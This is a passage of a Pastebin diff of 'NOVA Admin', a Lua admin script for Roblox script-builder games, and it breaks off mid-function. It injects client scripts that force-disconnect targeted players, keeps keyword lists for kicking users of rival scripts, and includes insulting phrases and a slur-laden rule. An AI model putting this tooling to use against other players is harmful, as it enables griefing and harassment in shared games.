View difference between Paste ID: 6rCAYaYE and pyrGZP6G
SHOW: | | - or go back to the newest paste.
1
--[[  NovaAdmin
2
v.0.3--------------------------------------                                                                                                                                                                                  ]]
3
script.Name = "§ NOVA Admin §" 
4
wait()
5
script.Parent = Instance.new("Glue") -- Stuck!
6
NOVA ={
7
    ShutdownPhrase = "Lol " .. math.random(1,50) .. "XD Shutdown nub low life";
8
    BadPhrases = true;
9
    Ab = false;
10
	 AntiCamball = true;
11-
    Bet = "/";
11+
    Bet = ";";
12
    Services = {
13
        Game = game;
14
        RunService = game:GetService("RunService");
15
        Workspace = game:GetService("Workspace");
16
        Lighting = game:GetService("Lighting");
17
        Debris = game:GetService("Debris");
18
        Players = game:GetService("Players");
19
        Teams = game:GetService("Teams");
20
        SoundService = game:GetService("SoundService");
21
        ScriptContext = game:GetService("ScriptContext");
22
        NetworkServer = game:GetService("NetworkServer");
23
        StarterGui = game:GetService("StarterGui");
24
        StarterPack = game:GetService("StarterPack");
25
    };
26
    Ranks = {
27
        {-2,"Lagged"}; -- -2
28
        {-1,"Banned"}; -- -1
29
        {-0.5,"Scum"};
30
        {0,"Guest"}; -- 0
31
        {1,"Mod"}; -- 1
32
        {2,"Admin"}; -- 2
33
        {3,"Developer"}; -- 3
34
        {4,"Omega Admin"}; -- 4
35
        {5,"Overlord"}; -- 5
36
        {6,"OP ( Operator )"}; -- 6 
37
        {7,"Creator"}; -- 7
38
        {8,"ROOT"}; -- 8
39
    };
40
    Alphabet = {
41
    "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
42
    };
43
    Ranked = {  			
44-
        {Name = "YOURNAME", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA", Mesh = false};
44+
        {Name = "gavinsharp100", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA", Mesh = false};
45
        {Name = "BANNED", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false};
46
        {Name = "BANNED", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false};
47
        {Name = "BANNED", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Leaked NOVA Admin",Mesh = false};
48
        {Name = "BANNED", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser",Mesh = false};
49
	     {Name = "FRIEND", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE",Mesh = false};
50
51
    };    
52
    Credit = {
53
        {Name = "NetworkClient",Why = "for the tablet function."};
54
        {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
55
        {Name = "upquark",Why = "For being a great person in life."};
56
        {Name = "toshir0z",Why = "For teaching me time control."};
57
        {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
58
        {Name = "tusKOr661",Why = "For majorly editing this script."};
59
    };
60
    Animations = {
61
        {Name = "Facepalm", Who = "tusKOr661", Id = "372695cdb6a7540768234ad60ed7a298"};
62
    };
63
    Colors = {
64
        Red = Color3.new(1,0,0);
65
        PinkRed = Color3.new(1,0,0.15);
66
        Orange = Color3.new(1,0.5,0);
67
        Yellow = Color3.new(1,1,0);
68
        Green = Color3.new(0,1,0);
69
        Blue = Color3.new(0,0,1);
70
        LightBlue = Color3.new(0,1,1);
71
        Pink = Color3.new(1,0,1);
72
        Magenta = Color3.new(0.54,0,0.54);
73
        White = Color3.new(1,1,1);
74
        Grey = Color3.new(0.5,0.5,0.5);
75
        Black = Color3.new(0,0,0);
76
    };
77
    Sounds = {
78
        Sound = Instance.new("Sound");
79
        Numbers = { -- one to five ( top to bottom )
80
            "http://www.roblox.com/Asset/?id=29445305",
81
            "http://www.roblox.com/Asset/?id=29445339",
82
            "http://www.roblox.com/Asset/?id=29445358",
83
            "http://www.roblox.com/Asset/?id=29445378",
84
            "http://www.roblox.com/Asset/?id=29445395",
85
        };
86
        PlayAfter = {
87
            "http://www.roblox.com/Asset/?id=2767090",
88
            "http://www.roblox.com/Asset/?id=2800815",
89
            "http://www.roblox.com/Asset/?id=2801263",
90
            "http://www.roblox.com/Asset/?id=11984254",
91
            "http://www.roblox.com/Asset/?id=2101159",
92
            "http://www.roblox.com/Asset/?id=3087031",
93
            "http://www.roblox.com/Asset/?id=2101148",
94
            "http://www.roblox.com/Asset/?id=2233908",
95
            "http://www.roblox.com/Asset/?id=16976189",
96
            "http://www.roblox.com/Asset/?id=2101157",
97
            "http://www.roblox.com/Asset/?id=2974000",
98
            "http://www.roblox.com/Asset/?id=2703110",
99
            "http://www.roblox.com/Asset/?id=1994345",
100
        };
101
    };
102
    AncientRules = {
103
        "Thou shall not use forum scripts.",
104
        "Thou shall not use CamBall / CamSphere.",
105
        "Thou shall not use CBA.",
106
        "Thou shall not use RMDX's scripts.",
107
        "Thou shall not use antibans.",
108
        "Thou shall not abuse thou admin.",
109
        "Thou shall not steal scripts.",
110
        "Thou shall not trade scripts you didn't make.",
111
        "Thou shall not use gay scripts.",
112
        "Thou shall not abuse loopholes in the ancient rules.",
113
    };
114
    ChatFilters = {
115
        "mediafire",
116
        "shit",
117
        "gtfo",
118
        "password",
119
        "hitler",
120
        "vaginas",
121
    };
122
123
    KillingPhrases = {
124
        "ssj",
125
        "yolo",
126
        "swag",
127
    };
128
    KickingPhrases = {
129
             "\"/down\"",
130
        "/down","fweld(","ManualJointSurfaceInstance",
131
        "/hide",
132
        "rpe/",
133
        "antiban",
134
        "ab/",
135
        "camball.",
136
        "camball.came",
137
        "camball/",
138
        "camball /","deadfield","1waffle1",
139
        "cie camball",
140
        "d33k/",
141
        "pban/",
142
        "your own camball",
143
        "created by jordan88282",
144
        "v2 camball",
145
        "cba = {}",
146
        "cba.bet","tusKOr661:Remove()","tusKOr661:Destroy()","tusKOr661.Parent =",
147
        "banmenu","adminlist",
148
        "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/tuskor661",
149
        "cryston",
150
        "jordan88282", "eyeball","orb","kick/","owner","antikick","iOrb","orb","plz","STOP","Bye","bye","BYE","qORBp",
151
		"local","Blox245 Sucks","cmds","msg"
152
	
153
   };
154
    PreviousDataKeys = {
155
        "Unlimited Gravity&accesskey=lol4&_version="..tostring(_VERSION),
156
    };
157
    LoadTime = {
158
        Start = tick(),
159
        Finish = tick(),
160
    };
161
    Fences = {};
162
    Jails = {};
163
    Objects = {};
164
    Commands = {};
165
    Tablets = {};
166
    Targeted = {};
167
    ExternalPlayersList = {};
168
    Waypoints = {};
169
    Log = {};
170
    LoggedScripts = {};
171
    PRI = false;
172
    LockedScripts = false;
173
    Removed = true;
174
    ShowChat = true;
175
    Canceled = false;
176
    Overrided = false;
177
    TimeChanged = false;
178
    TabletPositionRelative = false;
179
    AntiDLL = false;
180
    EnableGuests = true;
181
    UseGlobals = false;
182
    Overrider = nil;
183
    TabletRotation = 0;
184
    TabletRotationIncrease = 0.03;
185
    AccessKey = "NewData13";
186
    Version = "6th Generation";
187
    DataKey = "Unlimited Gravity";
188
    PRIType = "Kick";
189
    LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
190
    Script = script:FindFirstChild("PseudoScript"); -- or NewScript
191
    Plugins = script:GetChildren()
192
}
193
--[[ PLAYER PLUGINS ]]--
194
function UpdatePlayerPlugins()
195
    if NOVA.AntiDLL == true then PlayerPlugins = [==[
196
            script.Parent = nil
197
            LocalPlayer = game:GetService("Players").LocalPlayer
198
            
199
            game:GetService("Selection").SelectionChanged:connect(function()
200
                if LocalPlayer.Name ~= "tusKOr661" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
201
                    LocalPlayer.Parent = nil
202
                    LocalPlayer.Parent = game:GetService("Players")
203
                end
204
            end)
205
            coroutine.resume(coroutine.create(function()
206
                while wait() do
207
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
208
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
209
                        LocalPlayer.Parent = nil
210
                        LocalPlayer.Parent = game:GetService("Players")
211
                    end
212
                end
213
            end))
214
        ]==]
215
        else
216
            PlayerPlugins = [==[
217
            script.Parent = nil
218
            LocalPlayer = game:GetService("Players").LocalPlayer
219
        
220
            coroutine.resume(coroutine.create(function()
221
                while wait() do
222
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
223
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
224
                        LocalPlayer.Parent = nil
225
                        LocalPlayer.Parent = game:GetService("Players")
226
                    end
227
                end
228
            end))
229
        ]==]
230
    end
231
end
232
function Color()
233
        local Choice = math.random(1, 5)
234
        if Choice == 1 then
235
                return "Institutional white"
236
        elseif Choice == 2 then
237
                return "White"
238
        elseif Choice == 3 then
239
                return "Really red"
240
        elseif Choice == 4 then
241
                return "New Yeller"
242
        elseif Choice == 5 then
243
                return "Black"
244
        end
245
end   
246
--[[ PSEUDO FUNCTIONS ]]--
247
function CreateLocalScript(Source, Parent)
248
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
249
        newLocalScript(Source, Parent)
250
    elseif game.PlaceId == 23232804 then
251
        NewLocalScript(Source, Parent)
252
    elseif NOVA.LocalScript ~= nil then
253
        NS = NOVA.LocalScript:Clone()
254
        NS.Name = "LocalScript"
255
        pcall(function() NS:ClearAllChildren() end)
256
        NewSource = Instance.new("StringValue",NS)
257
        NewSource.Name = "Source"
258
        if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
259
            NewSource.Name = "DSource"
260
        end
261
        NewSource.Value = Source
262
        NS.Parent = Parent
263
        NS.Disabled = false
264
    else
265
        print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
266
    end
267
end
268
269
function CreateScript(Source, Parent)
270
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
271
        newScript(Source, Parent)
272
    elseif game.PlaceId == 23232804 then
273
        NewScript(Source, Parent)
274
    elseif NOVA.Script ~= nil then
275
        NS = NOVA.Script:Clone()
276
        NS.Name = "Script"
277
        pcall(function() NS:ClearAllChildren() end)
278
        NewSource = Instance.new("StringValue",NS)
279
        NewSource.Name = "Source"
280
        NewSource.Value = Source
281
        NS.Parent = Parent
282
        NS.Disabled = false
283
    else
284
        print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
285
    end
286
end
287
288
function IsTargeted(Player)
289
    if type(Player) == "string" then
290
        for _,v in pairs(NOVA.Targeted) do
291
            if v.Name == Player then
292
                return true
293
            end
294
        end
295
    elseif type(Player) == "userdata" then
296
        for _,v in pairs(NOVA.Targeted) do
297
            if Player == v then
298
                return true
299
            end
300
        end
301
    else
302
        print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
303
    end
304
    return false
305
end
306
307
--[[ DATA PERSISTANCE ]]--
308
--[[ SYNC RANKS IN ]]--
309
function SyncRanksIn()
310
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
311
        SyncRankInSingular(v)
312
    end
313
end
314
--[[ SYNC RANK IN SINGULAR ]]--
315
function SyncRankInSingular(v)
316
    if type(v) ~= "userdata" then
317
        print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
318
        return
319
    end
320
    coroutine.resume(coroutine.create(function()
321
        repeat wait() until v.DataReady == true
322
        
323
        if GetRankedTable(v) == nil then
324
            table.insert(NOVA.Ranked,{
325
                Name = v.Name,
326
                CMD = false,
327
                Rank = 0,
328
                Color = NOVA.Colors.Orange,
329
                Desc = "N/A",
330
                Complaints = Instance.new("Model"),
331
                Executeables = Instance.new("Model"),
332
					 Mesh = false
333
            })
334
				
335
        end
336
        
337
        local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
338
        local Data = GetRankedTable(v)
339
        
340
        if PhysicalData == nil then
341
            Data.Name = v.Name
342
            Data.CMD = false
343
            Data.Rank = 0
344
            Data.Color = NOVA.Colors.Orange
345
            Data.Desc = "N/A"
346
            Data.Complaints = Instance.new("Model")
347
            Data.Executeables = Instance.new("Model")
348
        elseif PhysicalData ~= nil then
349
            pcall(function() Data.Name = v.Name end)
350
            pcall(function() Data.CMD = PhysicalData.CMD.Value end)
351
            pcall(function() Data.Rank = PhysicalData.RANK.Value end)
352
            pcall(function() Data.Color = PhysicalData.COLOR.Value end)
353
            pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
354
            pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
355
            pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
356
            if Data.CMD == nil then Data.CMD = false end
357
            if Data.Rank == nil then Data.Rank = 0 end
358
            if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
359
            if Data.Desc == nil then Data.Desc = "N/A" end
360
            if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
361
            if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
362
        end
363
    end))
364
end
365
366
--[[ SYNC RANKS OUT ]]--
367
function SyncRanksOut()
368
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
369
        SyncRankOutSingular(v)
370
    end
371
end
372
373
--[[ SYNC RANK OUT SINGULAR ]]--
374
function SyncRankOutSingular(v)
375
    coroutine.resume(coroutine.create(function()
376
        repeat wait() until v.DataReady == true
377
        local RankData = GetRankedTable(v)
378
        if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
379
        local Data = Instance.new("Model")
380
        Data.Name = "PlayerData"
381
        local CMD = Instance.new("BoolValue",Data)
382
        CMD.Name = "CMD"
383
        CMD.Value = RankData.CMD
384
        local Rank = Instance.new("NumberValue",Data)
385
        Rank.Name = "RANK"
386
        Rank.Value = RankData.Rank
387
        local Color = Instance.new("Color3Value",Data)
388
        Color.Name = "COLOR"
389
        Color.Value = RankData.Color
390
        local Desc = Instance.new("StringValue",Data)
391
        Desc.Name = "DESCRIPTION"
392
        Desc.Value = RankData.Desc
393
        local Complaints = RankData.Complaints:Clone()
394
        Complaints.Name = "COMPLAINTS"
395
        local Executeables = RankData.Executeables:Clone()
396
        Executeables.Name = "EXECUTEABLES"
397
        local MeshVa = Instance.new("BoolValue",Data)
398
	MeshVa = RankData.Mesh
399
	if MeshVa.Value == true then
400
	local MeshId = Instance.new("StringValue",Data)
401
	MeshId = RankData.MeshId
402
	end
403
        v:SaveInstance(NOVA.DataKey.."&accesskey=".. NOVA.AccessKey .. "&_version="..NOVA.Version,Data)
404
        for _,v in pairs(NOVA.PreviousDataKeys) do
405
            v:SaveInstance(v,Data)
406
        end
407
    end))
408
end
409
410
--[[ PLAYER INTERFACE ]]--
411
function PlayerInterface(v,Speaker)
412
    RemoveTablets(Speaker)
413
    local Data = GetRankedTable(v)
414
    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
415
    Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
416
    Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
417
    Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
418
    Output("User Id : "..v.userId,Data.Color,Speaker)
419
    Output("Desc : "..Data.Desc,Data.Color,Speaker)
420
    Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
421
    Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
422
        if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
423
        Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
424
            function()
425
                Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey
426
 end
427
        )
428
    end
429
    if GetRank(Speaker) > Data.Rank or v == Speaker then
430
        Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
431
            function()
432
                RemoveTablets(Speaker)
433
                Output("True",NOVA.Colors.Green,Speaker,nil,
434
                    function()
435
                        Data.CMD = true
436
                        SyncRankOutSingular(v)
437
                        PlayerInterface(v,Speaker)
438
                    end
439
                )
440
                Output("False",NOVA.Colors.Red,Speaker,nil,
441
                    function()
442
                        Data.CMD = false
443
                        SyncRankOutSingular(v)
444
                        PlayerInterface(v,Speaker)
445
                    end
446
                )
447
                Output("Done",NOVA.Colors.Blue,Speaker,nil,
448
                    function()
449
                        PlayerInterface(v,Speaker)
450
                    end
451
                )
452
                Output("Dismiss",NOVA.Colors.Red,Speaker)
453
            end
454
        )
455
    end
456
if GetRank(Speaker) > Data.Rank or v == Speaker then
457
        Output("Set Mesh",NOVA.Colors.Blue,Speaker,nil,
458
            function()
459
                RemoveTablets(Speaker)
460
                Output("Rainbow Dominus",NOVA.Colors.Green,Speaker,nil,
461
                    function()
462
                        Data.Mesh = "Dominus"
463
                        SyncRankOutSingular(v)
464
                        PlayerInterface(v,Speaker)
465
                    end
466
                )
467
				    Output("Giant Spider",NOVA.Colors.Red,Speaker,nil,
468
                    function()
469
                        Data.Mesh = "Spider"
470
                        SyncRankOutSingular(v)
471
                        PlayerInterface(v,Speaker)
472
                    end
473
                )
474
                Output("Orb",NOVA.Colors.Red,Speaker,nil,
475
                    function()
476
                        Data.Mesh = "Orb"
477
                        SyncRankOutSingular(v)
478
                        PlayerInterface(v,Speaker)
479
                    end
480
                )
481
                Output("Tabet",NOVA.Colors.Red,Speaker,nil,
482
                    function()
483
                        Data.Mesh = "Tablet"
484
                        SyncRankOutSingular(v)
485
                        PlayerInterface(v,Speaker)
486
                    end
487
                )
488
                Output("Normal",NOVA.Colors.Red,Speaker,nil,
489
                    function()
490
                        Data.Mesh = false
491
                        SyncRankOutSingular(v)
492
                        PlayerInterface(v,Speaker)
493
                    end
494
                )
495
                Output("Done",NOVA.Colors.Blue,Speaker,nil,
496
                    function()
497
                        PlayerInterface(v,Speaker)
498
                    end
499
                )
500
                Output("Dismiss",NOVA.Colors.Red,Speaker)
501
            end
502
        )
503
    end
504
    if GetRank(Speaker) > Data.Rank then
505
        Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
506
            function()
507
                RemoveTablets(Speaker)
508
                for i,v in pairs(NOVA.Ranks) do
509
                    if v[1] ~= 8 then
510
                        Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
511
                            function()
512
                                RemoveTablets(Speaker)
513
                                Data.Rank = v[1]
514
                                SyncRankOutSingular(v)
515
                                PlayerInterface(v,Speaker)
516
                            end    
517
                        )
518
                    end
519
                end
520
                Output("Dismiss",NOVA.Colors.Red,Speaker)
521
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
522
                    function()
523
                        PlayerInterface(v,Speaker)
524
                    end
525
                )
526
                
527
            end
528
        )
529
    end
530
    if GetRank(Speaker) > Data.Rank or v == Speaker then
531
        Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
532
            function()
533
                RemoveTablets(Speaker)
534
                for i,Color in pairs(NOVA.Colors) do
535
                    Output(tostring(i),Color,Speaker,nil,
536
                        function()
537
                            Data.Color = Color
538
                            PlayerInterface(v,Speaker)
539
                            SyncRankOutSingular(v)
540
                        end
541
                    )
542
                    
543
                end
544
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
545
                        function()
546
                            PlayerInterface(v,Speaker)
547
                        end
548
                    )
549
                Output("Dismiss",NOVA.Colors.Red,Speaker)
550
            end
551
        )
552
    end
553
    Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
554
        function()
555
            RemoveTablets(Speaker)
556
            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
557
        end
558
    )
559
    Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
560
        function()
561
            RemoveTablets(Speaker)
562
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
563
        end
564
    )
565
    Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
566
        function()
567
            RemoveTablets(Speaker)
568
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
569
        end
570
    )
571
    Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
572
        function()
573
            RemoveTablets(Speaker)
574
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
575
        end
576
    )
577
    Output("Dismiss",NOVA.Colors.Red,Speaker)
578
end
579
580
--[[ MAKE HINT ]]--
581
582
function makeHint(Text,Parent)
583
    coroutine.resume(coroutine.create(function()
584
        local M = Instance.new("Hint",Parent)
585
        for i = 1, string.len(Text) do
586
            M.Text = M.Text .. string.sub(Text, i, i)
587
            wait(math.random() * 0.1)
588
        end
589
        M.Text = M.Text .. ""
590
        for i = 1, math.random(2, 6) do
591
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
592
            wait(0.4)
593
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
594
            wait(0.4)
595
        end
596
        M.Text = string.sub(M.Text, 1, string.len(Text))
597
        for i = 1, string.len(M.Text) do
598
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
599
            wait()
600
        end
601
			M:Remove()
602
    end))
603
end
604
function makeMessage(Text,Parent)
605
    coroutine.resume(coroutine.create(function()
606
        local M = Instance.new("Message",Parent)
607
        for i = 1, string.len(Text) do
608
            M.Text = M.Text .. string.sub(Text, i, i)
609
            wait(math.random() * 0.1)
610
        end
611
        M.Text = M.Text .. ""
612
        for i = 1, math.random(2, 6) do
613
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
614
            wait(0.4)
615
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
616
            wait(0.4)
617
        end
618
        M.Text = string.sub(M.Text, 1, string.len(Text))
619
        for i = 1, string.len(M.Text) do
620
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
621
            wait()
622
        end
623
        M:Remove()
624
    end))
625
end
626
627
--[[ EXPLORE ]]--
628
function Explore(Thing,Speaker)
629
    if Speaker == nil then 
630
        print("[NOVA.Explore] Argument 1 missing or nil.")
631
        return
632
    end
633
    pcall(function()
634
        if Thing == game or Thing == nil then
635
            RemoveTablets(Speaker)
636
            for _,v in pairs(NOVA.Services) do
637
                Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
638
            end
639
            Output("Dismiss",NOVA.Colors.Red,Speaker)
640
        else
641
            if #Thing:children() == 0 then
642
                RemoveTablets(Speaker)
643
                Explore(Thing.Parent.Parent,Speaker)    
644
            else
645
                RemoveTablets(Speaker)
646
                for _,v in pairs(Thing:children()) do
647
                    Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
648
                        function()
649
                            RemoveTablets(Speaker)
650
                            Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
651
                            Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
652
                            Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
653
                            Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
654
                            Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
655
                            Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
656
                            Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
657
                            Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
658
                            Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
659
                            Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
660
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
661
                        end
662
                    )
663
                end
664
                Output("Dismiss",NOVA.Colors.Red,Speaker)
665
            end
666
        end
667
    end)
668
end
669
670
--[[ CAPE ]]--
671
function Cape(v)
672
    local Mode = "None"
673
    local AngleX = 0
674
    pcall(function()
675
        v.Character.Swordpack:remove()
676
    end)
677
    pcall(function()    
678
        v.Character["NOVA Cape"]:remove()
679
    end)
680
681
    local Main = Instance.new("Model",v.Character)
682
    Main.Name = "NOVA Cape"
683
684
    pcall(function()
685
        v.Character.Swordpack:Remove()
686
    end)
687
688
    local Cape = Instance.new("Part", Main)
689
    Cape.Name = "Cape"
690
    Cape.Anchored = false
691
    Cape.Locked = true
692
    Cape.CanCollide = false
693
    Cape.formFactor = "Custom"
694
    Cape.Size = Vector3.new(2, 3.5, 0.2)
695
    Cape.BrickColor = BrickColor.new("Really black")
696
    Cape.TopSurface = 0
697
    Cape.BottomSurface = 0
698
    local Decal = Instance.new("Decal", Cape)
699
    Decal.Face = "Back"
700
    Decal.Texture = ""
701
    local CapeWeld = Instance.new("Weld", Cape)
702
    CapeWeld.Part0 = v.Character.Torso
703
    CapeWeld.Part1 = Cape
704
    CapeWeld.C0 = CFrame.new(0, 1, 0.5)
705
    CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
706
    v.Character.Humanoid.Running:connect(function(Speed)
707
        if Speed > 0 then
708
            Mode = "Running"
709
        else
710
            Mode = "None"
711
        end
712
    end)
713
    v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
714
    coroutine.wrap(function()
715
        while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
716
            local UpSpeed = 2.5
717
            local DownSpeed = 5
718
            local TargetAngle = 5
719
            if Mode == "Running" then
720
                TargetAngle = 45 + math.random(0, 2500) / 100
721
            elseif Mode == "Jumping" then
722
                UpSpeed = 10
723
                DownSpeed = 10
724
                TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
725
            end
726
            if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
727
            if AngleX < TargetAngle then
728
                AngleX = AngleX + UpSpeed
729
            elseif AngleX > TargetAngle then
730
                AngleX = AngleX - DownSpeed
731
            end
732
            CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
733
            wait()
734
        end
735
    end)()
736
737
    local LShoulder = Instance.new("Part",Main)
738
    LShoulder.Name = "Left Shoulder"
739
    LShoulder.TopSurface = "Smooth"
740
    LShoulder.BottomSurface = "Smooth"
741
    LShoulder.FormFactor = "Custom"
742
    LShoulder.Size = Vector3.new(1,0.2,1)
743
    LShoulder.BrickColor = BrickColor.new("Really black")
744
    LShoulder.Anchored = false
745
    LShoulder.Locked = true
746
    LShoulder.CanCollide = false
747
    LShoulder.Transparency = 0
748
    LShoulder.Reflectance = 0
749
    local Weld = Instance.new("Motor6D",LShoulder)
750
    Weld.Part0 = LShoulder
751
    Weld.Part1 = v.Character["Left Arm"]
752
    Weld.C0 = CFrame.new(0,-1,0)
753
754
    local RShoulder = Instance.new("Part",Main)
755
    RShoulder.Name = "Right Shoulder"
756
    RShoulder.TopSurface = "Smooth"
757
    RShoulder.BottomSurface = "Smooth"
758
    RShoulder.FormFactor = "Custom"
759
    RShoulder.Size = Vector3.new(1,0.2,1)
760
    RShoulder.BrickColor = BrickColor.new("Really black")
761
    RShoulder.Anchored = false
762
    RShoulder.Locked = true
763
    RShoulder.CanCollide = false
764
    RShoulder.Transparency = 0
765
    RShoulder.Reflectance = 0
766
    local Weld = Instance.new("Motor6D",RShoulder)
767
    Weld.Part0 = RShoulder
768
    Weld.Part1 = v.Character["Right Arm"]
769
    Weld.C0 = CFrame.new(0,-1,0)
770
771
    local NeckFlat = Instance.new("Part",Main)
772
    NeckFlat.Name = "NeckFlat"
773
    NeckFlat.TopSurface = "Smooth"
774
    NeckFlat.BottomSurface = "Smooth"
775
    NeckFlat.FormFactor = "Custom"
776
    NeckFlat.Size = Vector3.new(2,0.2,1)
777
    NeckFlat.BrickColor = BrickColor.new("Really black")
778
    NeckFlat.Anchored = false
779
    NeckFlat.Locked = true
780
    NeckFlat.CanCollide = false
781
    NeckFlat.Transparency = 0
782
    NeckFlat.Reflectance = 0
783
    local Weld = Instance.new("Motor6D",NeckFlat)
784
    Weld.Part0 = NeckFlat
785
    Weld.Part1 = v.Character.Torso
786
    Weld.C0 = CFrame.new(0,-1,0)
787
788
    for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
789
790
end
791
792
--[[ GET SPLIT ]]--
793
function GetSplit(Msg)
794
    Split = nil
795
    for i=1,100 do
796
        if string.sub(Msg,i,i) == NOVA.Bet then
797
            Split = i
798
            break
799
        end
800
    end 
801
    return Split
802
end
803
804
--[[ GET RANK ]]--
805
806
function GetRank(Player)
807
    Rtn = nil
808
    if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
809
        return 8
810
